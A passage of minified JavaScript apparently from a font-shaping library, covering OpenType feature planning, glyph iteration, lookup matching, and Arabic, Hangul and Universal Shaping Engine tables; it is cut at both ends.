                }, t.prototype.add = function (t) {
                    var e = !(arguments.length > 1 && void 0 !== arguments[1]) || arguments[1];
                    if (0 === this.stages.length && this.stages.push([]), "string" == typeof t && (t = [t]), Array.isArray(t)) this._addFeatures(t), e && this._addGlobal(t); else {
                        if ("object" !== (void 0 === t ? "undefined" : K(t))) throw new Error("Unsupported argument to ShapingPlan#add");
                        var n = (t.global || []).concat(t.local || []);
                        this._addFeatures(n), t.global && this._addGlobal(t.global)
                    }
                }, t.prototype.addStage = function (t, e) {
                    "function" == typeof t ? this.stages.push(t, []) : (this.stages.push([]), this.add(t, e))
                }, t.prototype.assignGlobalFeatures = function (t) {
                    for (var e = t, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                        var i;
                        if (n) {
                            if (r >= e.length) break;
                            i = e[r++]
                        } else {
                            if (r = e.next(), r.done) break;
                            i = r.value
                        }
                        var o = i;
                        for (var a in this.globalFeatures) o.features[a] = !0
                    }
                }, t.prototype.process = function (t, e, n) {
                    t.selectScript(this.script, this.language);
                    for (var r = this.stages, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                        var a;
                        if (i) {
                            if (o >= r.length) break;
                            a = r[o++]
                        } else {
                            if (o = r.next(), o.done) break;
                            a = o.value
                        }
                        var s = a;
                        "function" == typeof s ? n || s(this.font, e, n) : s.length > 0 && t.applyFeatures(s, e, n)
                    }
                }, t
            }(), Zi                                                                                            = ["ccmp", "locl", "rlig", "mark", "mkmk"], Yi = ["frac", "numr", "dnom"], Ki = ["calt", "clig", "liga", "rclt", "curs", "kern"], Xi = {
                ltr: ["ltra", "ltrm"],
                rtl: ["rtla", "rtlm"]
            }, Ji                                                                                              = (Fi = zi = function () {
                function t() {
                    J(this, t)
                }

                return t.plan = function (t, e, n) {
                    this.planPreprocessing(t), this.planFeatures(t), this.planPostprocessing(t, n), t.assignGlobalFeatures(e), this.assignFeatures(t, e)
                }, t.planPreprocessing = function (t) {
                    t.add({global: Xi[t.direction], local: Yi})
                }, t.planFeatures = function (t) {
                }, t.planPostprocessing = function (t, e) {
                    t.add([].concat(Zi, Ki, e))
                }, t.assignFeatures = function (t, e) {
                    for (var n = 0; n < e.length;) {
                        var r = e[n];
                        if (8260 === r.codePoints[0]) {
                            for (var i = n - 1, o = n + 1; i >= 0 && ct.isDigit(e[i].codePoints[0]);) e[i].features.numr = !0, e[i].features.frac = !0, i--;
                            for (; o < e.length && ct.isDigit(e[o].codePoints[0]);) e[o].features.dnom = !0, e[o].features.frac = !0, o++;
                            r.features.frac = !0, n = o - 1
                        } else n++
                    }
                }, t
            }(), zi.zeroMarkWidths = "AFTER_GPOS", Fi), Qi = new lt(e("AAEQAAAAAAAAADGgAZUBav7t2CtPA0EUBeDZB00pin9AJZIEgyUEj0QhweDAgQOJxCBRBElQSBwSicLgkOAwnNKZ5GaY2c7uzj4o5yZfZrrbefbuIx2nSq3CGmzAWH/+K+UO7MIe7MMhHMMpnMMFXMIVXIt2t3CnP088iPqjqNN8e4Ij7Rle4LUH82rLm6i/92A+RERERERERERNmfz/89GDeRARERERzbN8ceps2Iwt9H0C9/AJ6yOlDkbTczcot5VSm8Pm1vcFWfb7+BKOLTuOd2UlTX4wGP85Eg953lWPFbnuN7PkjtLmalOWbNenkHOSa7T3KmR9MVTZ2zZkVj1kHa68MueVKH0R4zqQ44WEXLM8VjcWHP0PtKLfPzQnMtGn3W4QYf6qxFxceVI394r2xnV+1rih0fV1Vzf3fO1n3evL5J78ruvZ5ptX2Rwy92Tfb1wlEqut3U+sZ3HXOeJ7/zDrbyuP6+Zz0fqa6Nv3vhY7Yu1xWnGevmsvsUpTT/RYIe8waUH/rvHMWKFzLfN8L+rTfp645mfX7ftlnfDtYxN59w0=", "base64")), $i = ["isol", "fina", "fin2", "fin3", "medi", "med2", "init"], to = {
                Non_Joining: 0,
                Left_Joining: 1,
                Right_Joining: 2,
                Dual_Joining: 3,
                Join_Causing: 3,
                ALAPH: 4,
                "DALATH RISH": 5,
                Transparent: 6
            }, eo                                          = "isol", no = "fina", ro = [[[null, null, 0], [null, eo, 2], [null, eo, 1], [null, eo, 2], [null, eo, 1], [null, eo, 6]], [[null, null, 0], [null, eo, 2], [null, eo, 1], [null, eo, 2], [null, "fin2", 5], [null, eo, 6]], [[null, null, 0], [null, eo, 2], ["init", no, 1], ["init", no, 3], ["init", no, 4], ["init", no, 6]], [[null, null, 0], [null, eo, 2], ["medi", no, 1], ["medi", no, 3], ["medi", no, 4], ["medi", no, 6]], [[null, null, 0], [null, eo, 2], ["med2", eo, 1], ["med2", eo, 2], ["med2", "fin2", 5], ["med2", eo, 6]], [[null, null, 0], [null, eo, 2], [eo, eo, 1], [eo, eo, 2], [eo, "fin2", 5], [eo, eo, 6]], [[null, null, 0], [null, eo, 2], [null, eo, 1], [null, eo, 2], [null, "fin3", 5], [null, eo, 6]]], io = function (t) {
                function e() {
                    return J(this, e), tt(this, t.apply(this, arguments))
                }

                return et(e, t), e.planFeatures = function (t) {
                    t.add(["ccmp", "locl"]);
                    for (var e = 0; e < $i.length; e++) {
                        var n = $i[e];
                        t.addStage(n, !1)
                    }
                    t.addStage("mset")
                }, e.assignFeatures = function (e, n) {
                    t.assignFeatures.call(this, e, n);
                    for (var r = -1, i = 0, o = [], a = 0; a < n.length; a++) {
                        var s = void 0, u = void 0, c = n[a], l = x(c.codePoints[0]);
                        if (l !== to.Transparent) {
                            var f = ro[i][l];
                            u = f[0], s = f[1], i = f[2], null !== u && r !== -1 && (o[r] = u), o[a] = s, r = a
                        } else o[a] = null
                    }
                    for (var h = 0; h < n.length; h++) {
                        var p = void 0, c = n[h];
                        (p = o[h]) && (c.features[p] = !0)
                    }
                }, e
            }(Ji), oo                                      = function () {
                function t(e, n) {
                    J(this, t), this.glyphs = e, this.reset(n)
                }

                return t.prototype.reset = function () {
                    var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {};
                    this.flags = t, this.index = 0
                }, t.prototype.shouldIgnore = function (t, e) {
                    return e.ignoreMarks && t.isMark || e.ignoreBaseGlyphs && !t.isMark || e.ignoreLigatures && t.isLigature
                }, t.prototype.move = function (t) {
                    for (this.index += t; 0 <= this.index && this.index < this.glyphs.length && this.shouldIgnore(this.glyphs[this.index], this.flags);) this.index += t;
                    return 0 > this.index || this.index >= this.glyphs.length ? null : this.glyphs[this.index]
                }, t.prototype.next = function () {
                    return this.move(1)
                }, t.prototype.prev = function () {
                    return this.move(-1)
                }, t.prototype.peek = function () {
                    var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 1, e = this.index, n = this.increment(t);
                    return this.index = e, n
                }, t.prototype.peekIndex = function () {
                    var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 1, e = this.index;
                    this.increment(t);
                    var n = this.index;
                    return this.index = e, n
                }, t.prototype.increment = function () {
                    var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : 1, e = t < 0 ? -1 : 1;
                    for (t = Math.abs(t); t--;) this.move(e);
                    return this.glyphs[this.index]
                }, Q(t, [{
                    key: "cur", get: function () {
                        return this.glyphs[this.index] || null
                    }
                }]), t
            }(), ao                                        = ["DFLT", "dflt", "latn"], so = (function () {
                function t(e, n) {
                    J(this, t), this.font = e, this.table = n, this.script = null, this.scriptTag = null, this.language = null, this.languageTag = null, this.features = {}, this.lookups = {}, this.selectScript(), this.glyphs = [], this.positions = [], this.ligatureID = 1
                }

                return t.prototype.findScript = function (t) {
                    if (null == this.table.scriptList) return null;
                    Array.isArray(t) || (t = [t]);
                    for (var e = this.table.scriptList, n = Array.isArray(e), r = 0, e = n ? e : H(e); ;) {
                        var i;
                        if (n) {
                            if (r >= e.length) break;
                            i = e[r++]
                        } else {
                            if (r = e.next(), r.done) break;
                            i = r.value
                        }
                        for (var o = i, a = t, s = Array.isArray(a), u = 0, a = s ? a : H(a); ;) {
                            var c;
                            if (s) {
                                if (u >= a.length) break;
                                c = a[u++]
                            } else {
                                if (u = a.next(), u.done) break;
                                c = u.value
                            }
                            var l = c;
                            if (o.tag === l) return o
                        }
                    }
                    return null
                }, t.prototype.selectScript = function (t, e) {
                    var n = !1, r = void 0;
                    if (!this.script || t !== this.scriptTag) {
                        if (r = this.findScript(t), t && (r = this.findScript(t)), r || (r = this.findScript(ao)), !r) return;
                        this.scriptTag = r.tag, this.script = r.script, this.direction = g(t), this.language = null, n = !0
                    }
                    if (!e && e !== this.langugeTag) for (var i = this.script.langSysRecords, o = Array.isArray(i), a = 0, i = o ? i : H(i); ;) {
                        var s;
                        if (o) {
                            if (a >= i.length) break;
                            s = i[a++]
                        } else {
                            if (a = i.next(), a.done) break;
                            s = a.value
                        }
                        var u = s;
                        if (u.tag === e) {
                            this.language = u.langSys, this.langugeTag = u.tag, n = !0;
                            break
                        }
                    }
                    if (this.language || (this.language = this.script.defaultLangSys), n && (this.features = {}, this.language)) for (var c = this.language.featureIndexes, l = Array.isArray(c), f = 0, c = l ? c : H(c); ;) {
                        var h;
                        if (l) {
                            if (f >= c.length) break;
                            h = c[f++]
                        } else {
                            if (f = c.next(), f.done) break;
                            h = f.value
                        }
                        var p                = h, d = this.table.featureList[p];
                        this.features[d.tag] = d.feature
                    }
                }, t.prototype.lookupsForFeatures = function () {
                    for (var t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : [], e = arguments[1], n = [], r = t, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                        var a;
                        if (i) {
                            if (o >= r.length) break;
                            a = r[o++]
                        } else {
                            if (o = r.next(), o.done) break;
                            a = o.value
                        }
                        var s = a, u = this.features[s];
                        if (u) for (var c = u.lookupListIndexes, l = Array.isArray(c), f = 0, c = l ? c : H(c); ;) {
                            var h;
                            if (l) {
                                if (f >= c.length) break;
                                h = c[f++]
                            } else {
                                if (f = c.next(), f.done) break;
                                h = f.value
                            }
                            var p = h;
                            e && e.indexOf(p) !== -1 || n.push({feature: s, index: p, lookup: this.table.lookupList.get(p)})
                        }
                    }
                    return n.sort(function (t, e) {
                        return t.index - e.index
                    }), n
                }, t.prototype.applyFeatures = function (t, e, n) {
                    var r = this.lookupsForFeatures(t);
                    this.applyLookups(r, e, n)
                }, t.prototype.applyLookups = function (t, e, n) {
                    this.glyphs = e, this.positions = n, this.glyphIterator = new oo(e);
                    for (var r = t, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                        var a;
                        if (i) {
                            if (o >= r.length) break;
                            a = r[o++]
                        } else {
                            if (o = r.next(), o.done) break;
                            a = o.value
                        }
                        var s = a, u = s.feature, c = s.lookup;
                        for (this.glyphIterator.reset(c.flags); this.glyphIterator.index < e.length;) if (u in this.glyphIterator.cur.features) {
                            for (var l = c.subTables, f = Array.isArray(l), h = 0, l = f ? l : H(l); ;) {
                                var p;
                                if (f) {
                                    if (h >= l.length) break;
                                    p = l[h++]
                                } else {
                                    if (h = l.next(), h.done) break;
                                    p = h.value
                                }
                                var d = p, g = this.applyLookup(c.lookupType, d);
                                if (g) break
                            }
                            this.glyphIterator.next()
                        } else this.glyphIterator.next()
                    }
                }, t.prototype.applyLookup = function (t, e) {
                    throw new Error("applyLookup must be implemented by subclasses")
                }, t.prototype.applyLookupList = function (t) {
                    for (var e = this.glyphIterator.index, n = t, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                        var o;
                        if (r) {
                            if (i >= n.length) break;
                            o = n[i++]
                        } else {
                            if (i = n.next(), i.done) break;
                            o = i.value
                        }
                        var a = o;
                        this.glyphIterator.index = e, this.glyphIterator.increment(a.sequenceIndex);
                        for (var s = this.table.lookupList.get(a.lookupListIndex), u = s.subTables, c = Array.isArray(u), l = 0, u = c ? u : H(u); ;) {
                            var f;
                            if (c) {
                                if (l >= u.length) break;
                                f = u[l++]
                            } else {
                                if (l = u.next(), l.done) break;
                                f = l.value
                            }
                            var h = f;
                            this.applyLookup(s.lookupType, h)
                        }
                    }
                    return this.glyphIterator.index = e, !0
                }, t.prototype.coverageIndex = function (t, e) {
                    switch (null == e && (e = this.glyphIterator.cur.id), t.version) {
                        case 1:
                            return t.glyphs.indexOf(e);
                        case 2:
                            for (var n = t.rangeRecords, r = Array.isArray(n), i = 0, n = r ? n : H(n); ;) {
                                var o;
                                if (r) {
                                    if (i >= n.length) break;
                                    o = n[i++]
                                } else {
                                    if (i = n.next(), i.done) break;
                                    o = i.value
                                }
                                var a = o;
                                if (a.start <= e && e <= a.end) return a.startCoverageIndex + e - a.start
                            }
                    }
                    return -1
                }, t.prototype.match = function (t, e, n, r) {
                    for (var i = this.glyphIterator.index, o = this.glyphIterator.increment(t), a = 0; a < e.length && o && n(e[a], o.id);) r && r.push(this.glyphIterator.index), a++, o = this.glyphIterator.next();
                    return this.glyphIterator.index = i, !(a < e.length) && (r || !0)
                }, t.prototype.sequenceMatches = function (t, e) {
                    return this.match(t, e, function (t, e) {
                        return t === e
                    })
                }, t.prototype.sequenceMatchIndices = function (t, e) {
                    return this.match(t, e, function (t, e) {
                        return t === e
                    }, [])
                }, t.prototype.coverageSequenceMatches = function (t, e) {
                    var n = this;
                    return this.match(t, e, function (t, e) {
                        return n.coverageIndex(t, e) >= 0
                    })
                }, t.prototype.getClassID = function (t, e) {
                    switch (e.version) {
                        case 1:
                            var n = t - e.startGlyph;
                            if (n >= 0 && n < e.classValueArray.length) return e.classValueArray[n];
                            break;
                        case 2:
                            for (var r = e.classRangeRecord, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                                var a;
                                if (i) {
                                    if (o >= r.length) break;
                                    a = r[o++]
                                } else {
                                    if (o = r.next(), o.done) break;
                                    a = o.value
                                }
                                var s = a;
                                if (s.start <= t && t <= s.end) return s.class
                            }
                    }
                    return 0
                }, t.prototype.classSequenceMatches = function (t, e, n) {
                    var r = this;
                    return this.match(t, e, function (t, e) {
                        return t === r.getClassID(e, n)
                    })
                }, t.prototype.applyContext = function (t) {
                    switch (t.version) {
                        case 1:
                            var e = this.coverageIndex(t.coverage);
                            if (e === -1) return !1;
                            for (var n = t.ruleSets[e], r = n, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                                var a;
                                if (i) {
                                    if (o >= r.length) break;
                                    a = r[o++]
                                } else {
                                    if (o = r.next(), o.done) break;
                                    a = o.value
                                }
                                var s = a;
                                if (this.sequenceMatches(1, s.input)) return this.applyLookupList(s.lookupRecords)
                            }
                            break;
                        case 2:
                            if (this.coverageIndex(t.coverage) === -1) return !1;
                            if ((e = this.getClassID(this.glyphIterator.cur.id, t.classDef)) === -1) return !1;
                            n = t.classSet[e];
                            for (var u = n, c = Array.isArray(u), l = 0, u = c ? u : H(u); ;) {
                                var f;
                                if (c) {
                                    if (l >= u.length) break;
                                    f = u[l++]
                                } else {
                                    if (l = u.next(), l.done) break;
                                    f = l.value
                                }
                                var h = f;
                                if (this.classSequenceMatches(1, h.classes, t.classDef)) return this.applyLookupList(h.lookupRecords)
                            }
                            break;
                        case 3:
                            if (this.coverageSequenceMatches(0, t.coverages)) return this.applyLookupList(t.lookupRecords)
                    }
                    return !1
                }, t.prototype.applyChainingContext = function (t) {
                    switch (t.version) {
                        case 1:
                            var e = this.coverageIndex(t.coverage);
                            if (e === -1) return !1;
                            for (var n = t.chainRuleSets[e], r = n, i = Array.isArray(r), o = 0, r = i ? r : H(r); ;) {
                                var a;
                                if (i) {
                                    if (o >= r.length) break;
                                    a = r[o++]
                                } else {
                                    if (o = r.next(), o.done) break;
                                    a = o.value
                                }
                                var s = a;
                                if (this.sequenceMatches(-s.backtrack.length, s.backtrack) && this.sequenceMatches(1, s.input) && this.sequenceMatches(1 + s.input.length, s.lookahead)) return this.applyLookupList(s.lookupRecords)
                            }
                            break;
                        case 2:
                            if (this.coverageIndex(t.coverage) === -1) return !1;
                            e     = this.getClassID(this.glyphIterator.cur.id, t.inputClassDef);
                            var u = t.chainClassSet[e];
                            if (!u) return !1;
                            for (var c = u, l = Array.isArray(c), f = 0, c = l ? c : H(c); ;) {
                                var h;
                                if (l) {
                                    if (f >= c.length) break;
                                    h = c[f++]
                                } else {
                                    if (f = c.next(), f.done) break;
                                    h = f.value
                                }
                                var p = h;
                                if (this.classSequenceMatches(-p.backtrack.length, p.backtrack, t.backtrackClassDef) && this.classSequenceMatches(1, p.input, t.inputClassDef) && this.classSequenceMatches(1 + p.input.length, p.lookahead, t.lookaheadClassDef)) return this.applyLookupList(p.lookupRecords)
                            }
                            break;
                        case 3:
                            if (this.coverageSequenceMatches(-t.backtrackGlyphCount, t.backtrackCoverage) && this.coverageSequenceMatches(0, t.inputCoverage) && this.coverageSequenceMatches(t.inputGlyphCount, t.lookaheadCoverage)) return this.applyLookupList(t.lookupRecords)
                    }
                    return !1
                }, t
            }()), uo                                       = function () {
                function t(e, n) {
                    var r = arguments.length > 2 && void 0 !== arguments[2] ? arguments[2] : [], i = arguments.length > 3 && void 0 !== arguments[3] ? arguments[3] : [];
                    if (J(this, t), this._font = e,
                            this.codePoints = r, this.id = n, this.features = {}, Array.isArray(i)) for (var o = 0; o < i.length; o++) {
                        var a            = i[o];
                        this.features[a] = !0
                    } else "object" === (void 0 === i ? "undefined" : K(i)) && ot(this.features, i);
                    this.ligatureID = null, this.ligatureComponent = null, this.ligated = !1, this.cursiveAttachment = null, this.markAttachment = null, this.shaperInfo = null, this.substituted = !1
                }

                return Q(t, [{
                    key: "id", get: function () {
                        return this._id
                    }, set: function (t) {
                        if (this._id = t, this.substituted = !0, this._font.GDEF && this._font.GDEF.glyphClassDef) {
                            var e = so.prototype.getClassID(t, this._font.GDEF.glyphClassDef);
                            this.isMark = 3 === e, this.isLigature = 2 === e
                        } else this.isMark = this.codePoints.every(ct.isMark), this.isLigature = this.codePoints.length > 1
                    }
                }]), t
            }(), co                                        = (Ni = Di = function (t) {
                function e() {
                    return J(this, e), tt(this, t.apply(this, arguments))
                }

                return et(e, t), e.planFeatures = function (t) {
                    t.add(["ljmo", "vjmo", "tjmo"], !1)
                }, e.assignFeatures = function (t, e) {
                    for (var n = 0, r = 0; r < e.length;) {
                        var i = void 0, o = e[r], a = o.codePoints[0], s = S(a), u = jo[n][s];
                        switch (i = u[0], n = u[1], i) {
                            case Do:
                                t.font.hasGlyphForCodePoint(a) || (r = _(e, r, t.font));
                                break;
                            case No:
                                r = C(e, r, t.font);
                                break;
                            case Uo:
                                E(e, r, t.font);
                                break;
                            case Wo:
                                r = P(e, r, t.font)
                        }
                        r++
                    }
                }, e
            }(Ji), Di.zeroMarkWidths = "NONE", Ni), lo = 44032, fo = 55204 - lo + 1, ho = 4352, po = 4449, go = 4519, vo = 21, yo = 28, mo = ho + 19 - 1, bo = po + vo - 1, wo = go + yo - 1, xo = 9676, So = function (t) {
                return 4352 <= t && t <= 4447 || 43360 <= t && t <= 43388
            }, ko                                      = function (t) {
                return 4448 <= t && t <= 4519 || 55216 <= t && t <= 55238
            }, _o                                      = function (t) {
                return 4520 <= t && t <= 4607 || 55243 <= t && t <= 55291
            }, Co                                      = function (t) {
                return 12334 <= t && t <= 12335
            }, Ao                                      = function (t) {
                return lo <= t && t <= 55204
            }, Eo                                      = function (t) {
                return t - lo < fo && (t - lo) % yo == 0
            }, Po                                      = function (t) {
                return ho <= t && t <= mo
            }, Io                                      = function (t) {
                return po <= t && t <= bo
            }, Oo                                      = function (t) {
                return go + 1 && 1 <= t && t <= wo
            }, To                                      = 0, Lo = 1, Bo = 2, Ro = 3, Mo = 4, zo = 5, Fo = 6, Do = 1, No = 2, Uo = 4, Wo = 5, jo = [[[0, 0], [0, 1], [0, 0], [0, 0], [Do, 2], [Do, 3], [Wo, 0]], [[0, 0], [0, 1], [No, 2], [0, 0], [Do, 2], [Do, 3], [Wo, 0]], [[0, 0], [0, 1], [0, 0], [No, 3], [Do, 2], [Do, 3], [Uo, 0]], [[0, 0], [0, 1], [0, 0], [0, 0], [Do, 2], [Do, 3], [Uo, 0]]], Go = ["O", "IND", "S", "GB", "B", "FM", "CGJ", "VMAbv", "VMPst", "VAbv", "VPst", "CMBlw", "VPre", "VBlw", "H", "VMBlw", "CMAbv", "MBlw", "CS", "R", "SUB", "MPst", "MPre", "FAbv", "FPst", "FBlw", "SMAbv", "SMBlw", "VMPre", "ZWNJ", "ZWJ", "WJ", "VS", "N", "HN", "MAbv"], Vo = {
                2507: [2503, 2494],
                2508: [2503, 2519],
                2888: [2887, 2902],
                2891: [2887, 2878],
                2892: [2887, 2903],
                3018: [3014, 3006],
                3019: [3015, 3006],
                3020: [3014, 3031],
                3144: [3142, 3158],
                3264: [3263, 3285],
                3271: [3270, 3285],
                3272: [3270, 3286],
                3274: [3270, 3266],
                3275: [3270, 3266, 3285],
                3402: [3398, 3390],
                3403: [3399, 3390],
                3404: [3398, 3415],
                3546: [3545, 3530],
                3548: [3545, 3535],
                3549: [3545, 3535, 3530],
                3550: [3545, 3551],
                3635: [3661, 3634],
                3763: [3789, 3762],
                3955: [3953, 3954],
                3957: [3953, 3956],
                3958: [4018, 3968],
                3959: [4018, 3953, 3968],
                3960: [4019, 3968],
                3961: [4019, 3953, 3968],
                3969: [3953, 3968],
                6971: [6970, 6965],
                6973: [6972, 6965],
                6976: [6974, 6965],
                6977: [6975, 6965],
                6979: [6978, 6965],
                69934: [69937, 69927],
                69935: [69938, 69927],
                70475: [70471, 70462],
                70476: [70471, 70487],
                70843: [70841, 70842],
                70844: [70841, 70832],
                70846: [70841, 70845],
                71098: [71096, 71087],
                71099: [71097, 71087]
            }, qo                                      = [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [2, 2, 3, 4, 4, 5, 0, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 0, 17, 0, 11, 18, 19, 20, 21, 0, 0, 22, 0, 0, 2, 0, 23, 0, 24], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 25, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 26, 27, 0, 0, 0, 0, 26, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 0, 0, 0, 34, 40, 41, 42, 43, 0, 0, 44, 0, 0, 0, 38, 0, 0, 45], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 6, 7, 0, 0, 0, 0, 0, 0, 14, 0, 0, 0, 0, 0, 0, 0, 19, 20, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 0, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 20, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 0, 0, 12, 0, 14, 0, 0, 0, 0, 0, 0, 0, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 6, 7, 0, 9, 0, 0, 0, 0, 14, 0, 0, 0, 0, 0, 0, 0, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 10, 11, 12, 13, 14, 0, 16, 0, 0, 0, 11, 18, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 24], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 0, 11, 12, 0, 14, 0, 0, 0, 0, 0, 0, 0, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 6, 7, 0, 9, 0, 0, 12, 0, 14, 0, 0, 0, 0, 0, 0, 0, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 46, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 0, 7, 0, 0, 0, 0, 0, 0, 14, 0, 0, 0, 0, 0, 0, 0, 19, 20, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 0, 0, 0, 11, 18, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 24], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 0, 11, 12, 0, 14, 0, 0, 0, 0, 0, 11, 0, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 4, 4, 5, 0, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 0, 0, 0, 11, 18, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 24], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 0, 11, 12, 0, 14, 0, 16, 0, 0, 0, 11, 0, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 24], [0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 20, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 5, 0, 6, 7, 0, 0, 0, 0, 0, 0, 14, 0, 0, 0, 0, 0, 0, 0, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 47, 0, 48, 0], [0, 0, 0, 0, 0, 5, 0, 6, 7, 8, 9, 0, 11, 12, 0, 14, 0, 16, 0, 0, 0, 11, 0, 19, 20, 21, 0, 0, 22, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 26, 27, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 27, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 0, 0, 0, 0, 0, 0, 37, 0, 0, 0, 0, 0, 0, 0, 41, 42, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 0, 30, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 41, 42, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 0, 0, 35, 0, 37, 0, 0, 0, 0, 0, 0, 0, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 0, 32, 0, 0, 0, 0, 37, 0, 0, 0, 0, 0, 0, 0, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 33, 34, 35, 36, 37, 0, 39, 0, 0, 0, 34, 40, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 45], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 0, 34, 35, 0, 37, 0, 0, 0, 0, 0, 0, 0, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 0, 32, 0, 0, 35, 0, 37, 0, 0, 0, 0, 0, 0, 0, 41, 42, 43, 0, 0, 44, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 49, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 49, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 0, 30, 0, 0, 0, 0, 0, 0, 37, 0, 0, 0, 0, 0, 0, 0, 41, 42, 43, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 28, 0, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 0, 